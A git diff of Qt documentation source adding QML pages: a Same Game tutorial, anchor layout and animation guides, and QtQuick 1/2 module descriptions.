+ \snippet doc/src/snippets/qtjavascript/registeringvalues/main.cpp 0
+
+ This places the properties in the script environment, thus making them
+ available to script code.
+
+ \section1 Making a QObject Available to the Script Engine
+
+ Any QObject-based instance can be made available for use with scripts.
+
+ When a QObject is passed to the QJSEngine::newQObject() function,
+ a Qt Script wrapper object is created that can be used to make the
+ QObject's signals, slots, properties, and child objects available
+ to scripts.
+
+ Here's an example of making an instance of a QObject subclass
+ available to script code under the name \c{"myObject"}:
+
+ \snippet doc/src/snippets/qtjavascript/registeringobjects/main.cpp 0
+
+ This will create a global variable called \c{myObject} in the
+ script environment. The variable serves as a proxy to the
+ underlying C++ object. Note that the name of the script variable
+ can be anything; i.e., it is not dependent upon QObject::objectName().
+
+ */
diff --git a/doc/src/declarative/qtquick1.qdoc b/doc/src/declarative/qtquick1.qdoc
index ee4a4565e8..c5e2190ee3 100644
--- a/doc/src/declarative/qtquick1.qdoc
+++ b/doc/src/declarative/qtquick1.qdoc
@@ -32,6 +32,9 @@
\brief The QML Elements
This QML module contains all the QML elements that are
- instantiated as objects of C++ classes in the QtDeclarative
- module.
+ instantiated as objects of C++ classes in the QtQuick1
+ module. These elements are QGraphicsObject based, and
+ work with the Graphics View framework. In Qt 5, they
+ have been replaced by \l{QtQuick 2}, based on the
+ Scenegraph renderer.
*/
diff --git a/doc/src/declarative/qtquick2.qdoc b/doc/src/declarative/qtquick2.qdoc
new file mode 100644
index 0000000000..49083f853e
--- /dev/null
+++ b/doc/src/declarative/qtquick2.qdoc
@@ -0,0 +1,38 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \qmlmodule QtQuick 2
+ \title QML Module QtQuick 2
+
+ \brief The QML Elements
+
+ This QML module contains all the QML elements that are
+ instantiated as objects of C++ classes in the QtDeclarative
+ module. These elements work with the Scenegraph renderer and
+ their own canvas.
+ */
diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc
index 1eb64f97c5..9bac55efe9 100644
--- a/doc/src/declarative/whatsnew.qdoc
+++ b/doc/src/declarative/whatsnew.qdoc
@@ -52,6 +52,11 @@ The Loader element now only emits the \c sourceChanged signal when the source is
\c sourceComponentChanged signal when the sourceComponent is changed. It used to emit both signals when one
of the properties was changed.
+Grid now has rowSpacing and columnSpacing properties.
+
+Positioner now has an attached property that can be used to determine a subitem's location within a
+container such as Column or Row.
+
\section2 QtQuick 1 is now a separate library and module
Writing C++ applications using QtQuick 1 specific API, i.e. QDeclarativeView or QDeclarativeItem
@@ -65,6 +70,13 @@ QDeclarativeView and QDeclarativeItem headers are now in the QtQuick 1 module, i
the library (lib/libQtQuick1*) and plugin (imports/QtQuick/) must be installed.
+\section2 PathView
+
+Added the following properties:
+\list
+\o \l {PathView::}{currentItem}
+\endlist
+
\section1 Qt 4.7.4 includes QtQuick 1.1
QtQuick 1.1 is a minor feature update. \e {import QtQuick 1.1} to use the new
diff --git a/doc/src/qtquick1/advtutorial.qdoc b/doc/src/qtquick1/advtutorial.qdoc
new file mode 100644
index 0000000000..b2f9deca6b
--- /dev/null
+++ b/doc/src/qtquick1/advtutorial.qdoc
@@ -0,0 +1,465 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-advtutorial.html
+\title QML Advanced Tutorial
+\brief A more advanced tutorial, showing how to use QML to create a game.
+\nextpage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
+
+This tutorial walks step-by-step through the creation of a full application using QML.
+It assumes that you already know the basics of QML (for example, from reading the
+\l{QML Tutorial}{simple tutorial}).
+
+In this tutorial we write a game, \e {Same Game}, based on the Same Game application
+included in the declarative \c examples directory, which looks like this:
+
+\image declarative-samegame.png
+
+We will cover concepts for producing a fully functioning application, including
+JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to
+manage components and enhance your interface, and storing persistent application data.
+
+An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
+know JavaScript you can still get a feel for how you can integrate backend logic to create and
+control QML elements.
+
+
+Tutorial chapters:
+
+\list 1
+\o \l {declarative/tutorials/samegame/samegame1}{Creating the Game Canvas and Blocks}
+\o \l {declarative/tutorials/samegame/samegame2}{Populating the Game Canvas}
+\o \l {declarative/tutorials/samegame/samegame3}{Implementing the Game Logic}
+\o \l {declarative/tutorials/samegame/samegame4}{Finishing Touches}
+\endlist
+
+All the code in this tutorial can be found in Qt's \c examples/declarative/tutorials/samegame
+directory.
+*/
+
+/*!
+\page qml-advtutorial1.html
+\title QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial
+\nextpage QML Advanced Tutorial 2 - Populating the Game Canvas
+
+\example declarative/tutorials/samegame/samegame1
+
+\section2 Creating the application screen
+
+The first step is to create the basic QML items in your application.
+
+To begin with, we create our Same Game application with a main screen like this:
+
+\image declarative-adv-tutorial1.png
+
+This is defined by the main application file, \c samegame.qml, which looks like this:
+
+\snippet declarative/tutorials/samegame/samegame1/samegame.qml 0
+
+This gives you a basic game window that includes the main canvas for the
+blocks, a "New Game" button and a score display.
+
+One item you may not recognize here
+is the \l SystemPalette item. This provides access to the Qt system palette
+and is used to give the button a more native look-and-feel.
+
+Notice the anchors for the \c Item, \c Button and \c Text elements are set using
+\l {qdeclarativeintroduction.html#dot-properties}{group notation} for readability.
+
+\section2 Adding \c Button and \c Block components
+
+The \c Button item in the code above is defined in a separate component file named \c Button.qml.
+To create a functional button, we use the QML elements \l Text and \l MouseArea inside a \l Rectangle.
+Here is the \c Button.qml code:
+
+\snippet declarative/tutorials/samegame/samegame1/Button.qml 0
+
+This essentially defines a rectangle that contains text and can be clicked. The \l MouseArea
+has an \c onClicked() handler that is implemented to emit the \c clicked() signal of the
+\c container when the area is clicked.
+
+In Same Game, the screen is filled with small blocks when the game begins.
+Each block is just an item that contains an image. The block
+code is defined in a separate \c Block.qml file:
+
+\snippet declarative/tutorials/samegame/samegame1/Block.qml 0
+
+At the moment, the block doesn't do anything; it is just an image. As the
+tutorial progresses we will animate and give behaviors to the blocks.
+We have not added any code yet to create the blocks; we will do this
+in the next chapter.
+
+We have set the image to be the size of its parent Item using \c {anchors.fill: parent}.
+This means that when we dynamically create and resize the block items
+later on in the tutorial, the image will be scaled automatically to the
+correct size.
+
+Notice the relative path for the Image element's \c source property.
+This path is relative to the location of the file that contains the \l Image element.
+Alternatively, you could set the Image source to an absolute file path or a URL
+that contains an image.
+
+You should be familiar with the code so far. We have just created some basic
+elements to get started. Next, we will populate the game canvas with some blocks.
+*/
+
+
+/*!
+\page qml-advtutorial2.html
+\title QML Advanced Tutorial 2 - Populating the Game Canvas
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
+\nextpage QML Advanced Tutorial 3 - Implementing the Game Logic
+
+\example declarative/tutorials/samegame/samegame2
+
+\section2 Generating the blocks in JavaScript
+
+Now that we've written some basic elements, let's start writing the game.
+
+The first task is to generate the game blocks. Each time the New Game button
+is clicked, the game canvas is populated with a new, random set of
+blocks. Since we need to dynamically generate new blocks for each new game,
+we cannot use \l Repeater to define the blocks. Instead, we will
+create the blocks in JavaScript.
+
+Here is the JavaScript code for generating the blocks, contained in a new
+file, \c samegame.js. The code is explained below.
+
+\snippet declarative/tutorials/samegame/samegame2/samegame.js 0
+
+The \c startNewGame() function deletes the blocks created in the previous game and
+calculates the number of rows and columns of blocks required to fill the game window for the new game.
+Then, it creates an array to store all the game
+blocks, and calls \c createBlock() to create enough blocks to fill the game window.
+
+The \c createBlock() function creates a block from the \c Block.qml file
+and moves the new block to its position on the game canvas. This involves several steps:
+
+\list
+
+\o \l {QML:Qt::createComponent()}{Qt.createComponent()} is called to
+ generate an element from \c Block.qml. If the component is ready,
+ we can call \c createObject() to create an instance of the \c Block
+ item.
+
+\o If \c createObject() returned null (i.e. if there was an error
+ while loading the object), print the error information.
+
+\o Place the block in its position on the board and set its width and
+ height. Also, store it in the blocks array for future reference.
+
+\o Finally, print error information to the console if the component
+ could not be loaded for some reason (for example, if the file is
+ missing).
+
+\endlist
+
+
+\section2 Connecting JavaScript components to QML
+
+Now we need to call the JavaScript code in \c samegame.js from our QML files.
+To do this, we add this line to \c samegame.qml which imports
+the JavaScript file as a \l{Modules#QML Modules}{module}:
+
+\snippet declarative/tutorials/samegame/samegame2/samegame.qml 2
+
+This allows us to refer to any functions within \c samegame.js using "SameGame"
+as a prefix: for example, \c SameGame.startNewGame() or \c SameGame.createBlock().
+This means we can now connect the New Game button's \c onClicked handler to the \c startNewGame()
+function, like this:
+
+\snippet declarative/tutorials/samegame/samegame2/samegame.qml 1
+
+So, when you click the New Game button, \c startNewGame() is called and generates a field of blocks, like this:
+
+\image declarative-adv-tutorial2.png
+
+Now, we have a screen of blocks, and we can begin to add the game mechanics.
+
+*/
+
+/*!
+\page qml-advtutorial3.html
+\title QML Advanced Tutorial 3 - Implementing the Game Logic
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial 2 - Populating the Game Canvas
+\nextpage QML Advanced Tutorial 4 - Finishing Touches
+
+\example declarative/tutorials/samegame/samegame3
+
+\section2 Making a playable game
+
+Now that we have all the game components, we can add the game logic that
+dictates how a player interacts with the blocks and plays the game
+until it is won or lost.
+
+To do this, we have added the following functions to \c samegame.js:
+
+\list
+\o \c{handleClick(x,y)}
+\o \c{floodFill(xIdx,yIdx,type)}
+\o \c{shuffleDown()}
+\o \c{victoryCheck()}
+\o \c{floodMoveCheck(xIdx, yIdx, type)}
+\endlist
+
+As this is a tutorial about QML, not game design, we will only discuss \c handleClick() and \c victoryCheck() below since they interface directly with the QML elements. Note that although the game logic here is written in JavaScript, it could have been written in C++ and then exposed to QML.
+
+\section3 Enabling mouse click interaction
+
+To make it easier for the JavaScript code to interface with the QML elements, we have added an Item called \c gameCanvas to \c samegame.qml. It replaces the background as the item which contains the blocks. It also accepts mouse input from the user. Here is the item code:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.qml 1
+
+The \c gameCanvas item is the exact size of the board, and has a \c score property and a \l MouseArea to handle mouse clicks.
+The blocks are now created as its children, and its dimensions are used to determine the board size so that
+the application scales to the available screen size.
+Since its size is bound to a multiple of \c blockSize, \c blockSize was moved out of \c samegame.js and into \c samegame.qml as a QML property.
+Note that it can still be accessed from the script.
+
+When clicked, the \l MouseArea calls \c{handleClick()} in \c samegame.js, which determines whether the player's click should cause any blocks to be removed, and updates \c gameCanvas.score with the current score if necessary. Here is the \c handleClick() function:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.js 1
+
+Note that if \c score was a global variable in the \c{samegame.js} file you would not be able to bind to it. You can only bind to QML properties.
+
+\section3 Updating the score
+
+When the player clicks a block and triggers \c handleClick(), \c handleClick() also calls \c victoryCheck() to update the score and to check whether the player has completed the game. Here is the \c victoryCheck() code:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.js 2
+
+This updates the \c gameCanvas.score value and displays a "Game Over" dialog if the game is finished.
+
+The Game Over dialog is created using a \c Dialog element that is defined in \c Dialog.qml. Here is the \c Dialog.qml code. Notice how it is designed to be usable imperatively from the script file, via the functions and signals:
+
+\snippet declarative/tutorials/samegame/samegame3/Dialog.qml 0
+
+And this is how it is used in the main \c samegame.qml file:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.qml 2
+
+We give the dialog a \l {Item::z}{z} value of 100 to ensure it is displayed on top of our other components. The default \c z value for an item is 0.
+
+
+\section3 A dash of color
+
+It's not much fun to play Same Game if all the blocks are the same color, so we've modified the \c createBlock() function in \c samegame.js to randomly create a different type of block (for either red, green or blue) each time it is called. \c Block.qml has also changed so that each block contains a different image depending on its type:
+
+\snippet declarative/tutorials/samegame/samegame3/Block.qml 0
+
+
+\section2 A working game
+
+Now we now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you can start a new one).
+Here is a screenshot of what has been accomplished so far:
+
+\image declarative-adv-tutorial3.png
+
+This is what \c samegame.qml looks like now:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.qml 0
+
+The game works, but it's a little boring right now. Where are the smooth animated transitions? Where are the high scores?
+If you were a QML expert you could have written these in the first iteration, but in this tutorial they've been saved
+until the next chapter - where your application becomes alive!
+
+*/
+
+/*!
+\page qml-advtutorial4.html
+\title QML Advanced Tutorial 4 - Finishing Touches
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial 3 - Implementing the Game Logic
+
+\example declarative/tutorials/samegame/samegame4
+
+\section2 Adding some flair
+
+Now we're going to do two things to liven up the game: animate the blocks and add a High Score system.
+
+We've also cleaned up the directory structure for our application files. We now have a lot of files, so all the
+JavaScript and QML files outside of \c samegame.qml have been moved into a new sub-directory named "content".
+
+In anticipation of the new block animations, \c Block.qml file is now renamed to \c BoomBlock.qml.
+
+\section3 Animating block movement
+
+First we will animate the blocks so that they move in a fluid manner. QML has a number of methods for adding fluid
+movement, and in this case we're going to use the \l Behavior element to add a \l SpringAnimation.
+In \c BoomBlock.qml, we apply a \l SpringAnimation behavior to the \c x and \c y properties so that the
+block will follow and animate its movement in a spring-like fashion towards the specified position (whose
+values will be set by \c samegame.js).Here is the code added to \c BoomBlock.qml:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 1
+
+The \c spring and \c damping values can be changed to modify the spring-like effect of the animation.
+
+The \c {enabled: spawned} setting refers to the \c spawned value that is set from \c createBlock() in \c samegame.js.
+This ensures the \l SpringAnimation on the \c x is only enabled after \c createBlock() has set the block to
+the correct position. Otherwise, the blocks will slide out of the corner (0,0) when a game begins, instead of falling
+from the top in rows. (Try commenting out \c {enabled: spawned} and see for yourself.)
+
+\section3 Animating block opacity changes
+
+Next, we will add a smooth exit animation. For this, we'll use a \l Behavior element, which allows us to specify
+a default animation when a property change occurs. In this case, when the \c opacity of a Block changes, we will
+animate the opacity value so that it gradually fades in and out, instead of abruptly changing between fully
+visible and invisible. To do this, we'll apply a \l Behavior on the \c opacity property of the \c Image
+element in \c BoomBlock.qml:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 2
+
+Note the \c{opacity: 0} which means the block is transparent when it is first created. We could set the opacity
+in \c samegame.js when we create and destroy the blocks,
+but instead we'll use \l{QML States}{states}, since this is useful for the next animation we're going to add.
+Initially, we add these States to the root element of \c{BoomBlock.qml}:
+\code
+ property bool dying: false
+ states: [
+ State{ name: "AliveState"; when: spawned == true && dying == false
+ PropertyChanges { target: img; opacity: 1 }
+ },
+ State{ name: "DeathState"; when: dying == true
+ PropertyChanges { target: img; opacity: 0 }
+ }
+ ]
+\endcode
+
+Now blocks will automatically fade in, as we already set \c spawned to true when we implemented the block animations.
+To fade out, we set \c dying to true instead of setting opacity to 0 when a block is destroyed (in the \c floodFill() function).
+
+\section3 Adding particle effects
+
+Finally, we'll add a cool-looking particle effect to the blocks when they are destroyed. To do this, we first add a \l Particles element in
+\c BoomBlock.qml, like so:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 3
+
+To fully understand this you should read the \l Particles documentation, but it's important to note that \c emissionRate is set
+to zero so that particles are not emitted normally.
+Also, we extend the \c dying State, which creates a burst of particles by calling the \c burst() method on the particles element. The code for the states now look
+like this:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 4
+
+Now the game is beautifully animated, with subtle (or not-so-subtle) animations added for all of the
+player's actions. The end result is shown below, with a different set of images to demonstrate basic theming:
+
+\image declarative-adv-tutorial4.gif
+
+The theme change here is produced simply by replacing the block images. This can be done at runtime by changing the \l Image \c source property, so for a further challenge, you could add a button that toggles between themes with different images.
+
+\section2 Keeping a High Scores table
+
+Another feature we might want to add to the game is a method of storing and retrieving high scores.
+
+To do this, we will show a dialog when the game is over to request the player's name and add it to a High Scores table.
+This requires a few changes to \c Dialog.qml. In addition to a \c Text element, it now has a
+\c TextInput child item for receiving keyboard text input:
+
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 2
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3
+
+We'll also add a \c showWithInput() function. The text input will only be visible if this function
+is called instead of \c show(). When the dialog is closed, it emits a \c closed() signal, and
+other elements can retrieve the text entered by the user through an \c inputText property:
+
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 1
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3
+
+Now the dialog can be used in \c samegame.qml:
+
+\snippet declarative/tutorials/samegame/samegame4/samegame.qml 0
+
+When the dialog emits the \c closed signal, we call the new \c saveHighScore() function in \c samegame.js, which stores the high score locally in an SQL database and also send the score to an online database if possible.
+
+The \c nameInputDialog is activated in the \c victoryCheck() function in \c samegame.js:
+
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 3
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 4
+
+\section3 Storing high scores offline
+
+Now we need to implement the functionality to actually save the High Scores table.
+
+Here is the \c saveHighScore() function in \c samegame.js:
+
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 2
+
+First we call \c sendHighScore() (explained in the section below) if it is possible to send the high scores to an online database.
+
+Then, we use the \l{Offline Storage API} to maintain a persistent SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrieval, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string.
+
+This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could better present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database.
+
+\section3 Storing high scores online
+
+You've seen how you can store high scores locally, but it is also easy to integrate a web-enabled high score storage into your QML application. The implementation we've done her is very
+simple: the high score data is posted to a php script running on a server somewhere, and that server then stores it and
+displays it to visitors. You could also request an XML or QML file from that same server, which contains and displays the scores,
+but that's beyond the scope of this tutorial. The php script we use here is available in the \c examples directory.
+
+If the player entered their name we can send the data to the web service us
+
+If the player enters a name, we send the data to the service using this code in \c samegame.js:
+
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 1
+
+The \l XMLHttpRequest in this code is the same as the \c XMLHttpRequest() as you'll find in standard browser JavaScript, and can be used in the same way to dynamically get XML
+or QML from the web service to display the high scores. We don't worry about the response in this case - we just post the high
+score data to the web server. If it had returned a QML file (or a URL to a QML file) you could instantiate it in much the same
+way as you did with the blocks.
+
+An alternate way to access and submit web-based data would be to use QML elements designed for this purpose. XmlListModel
+makes it very easy to fetch and display XML based data such as RSS in a QML application (see the Flickr demo for an example).
+
+
+\section2 That's it!
+
+By following this tutorial you've seen how you can write a fully functional application in QML:
+
+\list
+\o Build your application with \l {{QML Elements}}{QML elements}
+\o Add application logic \l{Integrating JavaScript}{with JavaScript code}
+\o Add animations with \l {Behavior}{Behaviors} and \l{QML States}{states}
+\o Store persistent application data using, for example, the \l{Offline Storage API} or \l XMLHttpRequest
+\endlist
+
+There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
+examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
+*/
diff --git a/doc/src/qtquick1/anchor-layout.qdoc b/doc/src/qtquick1/anchor-layout.qdoc
new file mode 100644
index 0000000000..a84abf436b
--- /dev/null
+++ b/doc/src/qtquick1/anchor-layout.qdoc
@@ -0,0 +1,144 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-anchor-layout.html
+\target anchor-layout
+\contentspage QML Features
+\previouspage {Using QML Positioner and Repeater Items}{Component Layouts}
+\nextpage {QML Mouse Events}{Mouse Events}
+\title Anchor-based Layout in QML
+
+In addition to the more traditional \l Grid, \l Row, and \l Column,
+QML also provides a way to layout items using the concept of \e anchors.
+Each item can be thought of as having a set of 7 invisible "anchor lines":
+\l {Item::anchors.left}{left}, \l {Item::anchors.horizontalCenter}{horizontalCenter},
+\l {Item::anchors.right}{right}, \l {Item::anchors.top}{top},
+\l {Item::anchors.verticalCenter}{verticalCenter}, \l {Item::anchors.baseline}{baseline},
+and \l {Item::anchors.bottom}{bottom}.
+
+\image edges_qml.png
+
+The baseline (not pictured above) corresponds to the imaginary line on which
+text would sit. For items with no text it is the same as \e top.
+
+The QML anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write:
+
+\code
+Rectangle { id: rect1; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; ... }
+\endcode
+
+In this case, the left edge of \e rect2 is bound to the right edge of \e rect1, producing the following:
+
+\image edge1.png
+
+
+You can specify multiple anchors. For example:
+
+\code
+Rectangle { id: rect1; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; anchors.top: rect1.bottom; ... }
+\endcode
+
+\image edge3.png
+
+By specifying multiple horizontal or vertical anchors you can control the size of an item. Below,
+\e rect2 is anchored to the right of \e rect1 and the left of \e rect3. If either of the blue
+rectangles are moved, \e rect2 will stretch and shrink as necessary:
+
+\code
+Rectangle { id: rect1; x: 0; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; anchors.right: rect3.left; ... }
+Rectangle { id: rect3; x: 150; ... }
+\endcode
+
+\image edge4.png
+
+There are also some convenience anchors. anchors.fill is a convenience that is the same as setting the left,right,top and bottom anchors
+to the left,right,top and bottom of the target item. anchors.centerIn is another convenience anchor, and is the same as setting the verticalCenter
+and horizontalCenter anchors to the verticalCenter and horizontalCenter of the target item.
+
+\section1 Anchor Margins and Offsets
+
+The anchoring system also allows \e margins and \e offsets to be specified for an item's anchors.
+Margins specify the amount of empty space to leave to the outside of an item's anchor, while
+offsets allow positioning to be manipulated using the center anchor lines. An item can
+specify its anchor margins individually through \l {Item::anchors.leftMargin}{leftMargin},
+\l {Item::anchors.rightMargin}{rightMargin}, \l {Item::anchors.topMargin}{topMargin} and
+\l {Item::anchors.bottomMargin}{bottomMargin}, or use \l {Item::}{anchors.margins} to
+specify the same margin value for all four edges. Anchor offsets are specified using
+\l {Item::anchors.horizontalCenterOffset}{horizontalCenterOffset},
+\l {Item::anchors.verticalCenterOffset}{verticalCenterOffset} and
+\l {Item::anchors.baselineOffset}{baselineOffset}.
+
+\image margins_qml.png
+
+The following example specifies a left margin:
+
+\code
+Rectangle { id: rect1; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; anchors.leftMargin: 5; ... }
+\endcode
+
+In this case, a margin of 5 pixels is reserved to the left of \e rect2, producing the following:
+
+\image edge2.png
+
+\note Anchor margins only apply to anchors; they are \e not a generic means of applying margins to an \l Item.
+If an anchor margin is specified for an edge but the item is not anchored to any item on that
+edge, the margin is not applied.
+
+
+\section1 Restrictions
+
+For performance reasons, you can only anchor an item to its siblings and direct parent. For example,
+the following anchor is invalid and would produce a warning:
+
+\badcode
+Item {
+ id: group1
+ Rectangle { id: rect1; ... }
+}
+Item {
+ id: group2
+ Rectangle { id: rect2; anchors.left: rect1.right; ... } // invalid anchor!
+}
+\endcode
+
+Also, anchor-based layouts cannot be mixed with absolute positioning. If an item specifies its
+\l {Item::}{x} position and also sets \l {Item::}{anchors.left},
+or anchors its left and right edges but additionally sets a \l {Item::}{width}, the
+result is undefined, as it would not be clear whether the item should use anchoring or absolute
+positioning. The same can be said for setting an item's \l {Item::}{y} and \l {Item::}{height}
+with \l {Item::}{anchors.top} and \l {Item::}{anchors.bottom}, or setting \l {Item::}{anchors.fill}
+as well as \l {Item::}{width} or \l {Item::}{height}. The same applies when using positioners
+such as Row and Grid, which may set the item's \l {Item::}{x} and \l {Item::}{y} properties.
+If you wish to change from using
+anchor-based to absolute positioning, you can clear an anchor value by setting it to \c undefined.
+
+*/
diff --git a/doc/src/qtquick1/animation.qdoc b/doc/src/qtquick1/animation.qdoc
new file mode 100644
index 0000000000..ef01d14414
--- /dev/null
+++ b/doc/src/qtquick1/animation.qdoc
@@ -0,0 +1,273 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeanimation.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML States}{States}
+\nextpage {QML Data Models}{Structuring Data with Models}
+\title QML Animation and Transitions
+
+\keyword qml-animation-elements
+\section1 Animation and Transitions Elements
+\list
+\o \l {Transition} - Animates transitions during state changes
+\o \l {SequentialAnimation} - Runs animations sequentially
+\o \l {ParallelAnimation} - Runs animations in parallel
+\o \l {Behavior} - Specifies a default animation for property changes
+\o \l {PropertyAction} - Sets immediate property changes during animation
+\o \l {PauseAnimation} - Introduces a pause in an animation
+\o \l {SmoothedAnimation} - Allows a property to smoothly track a value
+\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion
+\o \l {ScriptAction} - Runs scripts during an animation
+\endlist
+
+\keyword qml-property-animation-elements
+Elements that animate properties based on data types
+\list
+\o \l {PropertyAnimation} - Animates property changes
+\o \l {NumberAnimation} - Animates properties of type qreal
+\o \l {Vector3dAnimation} - Animates properties of type QVector3d
+\o \l {ColorAnimation} - Animates color changes
+\o \l {RotationAnimation} - Animates rotations
+\o \l {ParentAnimation} - Animates parent changes
+\o \l {AnchorAnimation} - Animates anchor changes
+\endlist
+
+In QML, animations are created by applying animation elements to property
+values. Animation elements will interpolate property values to create smooth
+transitions. As well, state transitions may assign animations to state changes.
+
+To create an animation, use an appropriate animation element for the type of
+the property that is to be animated, and apply the animation depending on the
+type of behavior that is required.
+
+\keyword qml-triggering-animations
+\section1 Triggering Animations
+
+There are several ways of setting animation to an object.
+
+\keyword qml-direct-animation
+\section2 Direct Property Animation
+
+To create an immediate movement or animated movement, set the property value
+directly. This may be done in signal handlers or attached properties.
+
+\snippet doc/src/snippets/declarative/animation.qml direct property change
+
+However, to create more control, \e {property animations} apply smooth movements
+by interpolating values between property value changes. Property animations
+provide timing controls and allows different interpolations through
+\l{qml-easing-animation}{easing curves}.
+
+\snippet doc/src/snippets/declarative/animation.qml property animation
+
+Specialized \l{qml-property-animation-elements}{property animation elements}
+have more efficient implementations than the \l{PropertyAnimation} element. They
+are for setting animations to different QML types such as \c int, \c color, and
+rotations. Similarly, the \l{ParentAnimation} can animate parent changes.
+
+See the \l {qml-controlling-animations}{Controlling Animations} section for more
+information about the different animation properties.
+
+\keyword qml-transition-animations
+\section2 Transitions during State Changes
+
+\l{QML States}{States} are property configurations where a property may have different values to reflect different states. State changes introduce
+abrupt property changes; animations smooth transitions to produce visually
+appealing state changes.
+
+The \l{Transition} element can contain
+\l{qml-animation-elements}{animation elements} to interpolate property changes
+caused by state changes. To assign the transition to an object, bind it to the
+\c transitions property.
+
+A button might have two states, the \c pressed state when the user clicks on the
+button and a \c released state when the user releases the button. We can assign
+different property configurations for each state. A transition would animate the
+change from the \c pressed state to the \c released state. Likewise, there would
+be an animation during the change from the \c released state to the \c pressed
+state.
+
+\snippet doc/src/snippets/declarative/animation.qml transition animation
+
+Binding the \c to and \c from properties to the state's name will assign that
+particular transition to the state change. For simple or symmetric transitions,
+setting the to \c to property to the wild card symbol, "\c{*}", denotes
+that the transition applies to any state change.
+
